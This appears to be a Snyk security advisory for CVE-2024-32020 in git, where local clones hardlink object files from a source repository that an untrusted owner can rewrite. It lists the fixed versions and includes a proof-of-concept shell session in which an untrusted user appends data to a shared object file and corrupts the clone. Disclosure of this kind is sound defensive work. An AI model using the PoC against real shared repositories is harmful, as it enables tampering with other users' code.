Improper Preservation of Permissions Affecting git/git package, versions [,2.39.4)[2.40.0,2.40.2)[2.41.0,2.41.1)[2.42.0,2.42.2)[2.43.0,2.43.4)[2.44.0,2.44.1)[2.45.0,2.45.1)


Severity

Recommended
0.0
low
0
10

CVSS assessment made by Snyk's Security Team. Learn more

Threat Intelligence

Exploit Maturity
Proof of concept
EPSS
0.05% (18th percentile)

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications
  • Snyk IDSNYK-UNMANAGED-GITGIT-6841705
  • published15 May 2024
  • disclosed14 May 2024
  • creditPatrick Steinhardt

Introduced: 14 May 2024

CVE-2024-32020  (opens in a new tab)
CWE-281  (opens in a new tab)

How to fix?

Upgrade git/git to version 2.39.4, 2.40.2, 2.41.1, 2.42.2, 2.43.4, 2.44.1, 2.45.1 or higher.

Overview

Affected versions of this package are vulnerable to Improper Preservation of Permissions due to the hardlinking of files from the source repository into the target repository's object database. An attacker can manipulate these files by rewriting them, potentially leading to unauthorized modifications.

PoC

$ git init source
Initialized empty Git repository in /tmp/source/.git/
$ cd source/
$ echo original >file
$ git add file
$ git commit -m "initial commit"
[main (root-commit) 3e12aea] initial commit
 1 file changed, 1 insertion(+)
 create mode 100644 file
$ sudo chown -R untrusted:untrusted .

$ cd ..
$ git clone source target
Cloning into 'target'...
done.
$ cd target/
$ ls -l .git/objects/4b/48deed3a433909bfd6b6ab3d4b91348b6af464
-r--r--r-- 2 untrusted untrusted 32 Apr 12 12:17 .git/objects/4b/48deed3a433909bfd6b6ab3d4b91348b6af464
$ sudo -u untrusted sh -c "echo garbage >>../source/.git/objects/4b/48deed3a433909bfd6b6ab3d4b91348b6af464
$ git fsck
error: garbage at end of loose object '4b48deed3a433909bfd6b6ab3d4b91348b6af464'
error: unable to unpack contents of .git/objects/4b/48deed3a433909bfd6b6ab3d4b91348b6af464
error: 4b48deed3a433909bfd6b6ab3d4b91348b6af464: object corrupt or missing: .git/objects/4b/48deed3a433909bfd6b6ab3d4b91348b6af464
Checking object directories: 100% (256/256), done.
missing blob 4b48deed3a433909bfd6b6ab3d4b91348b6af464

CVSS Scores

version 3.1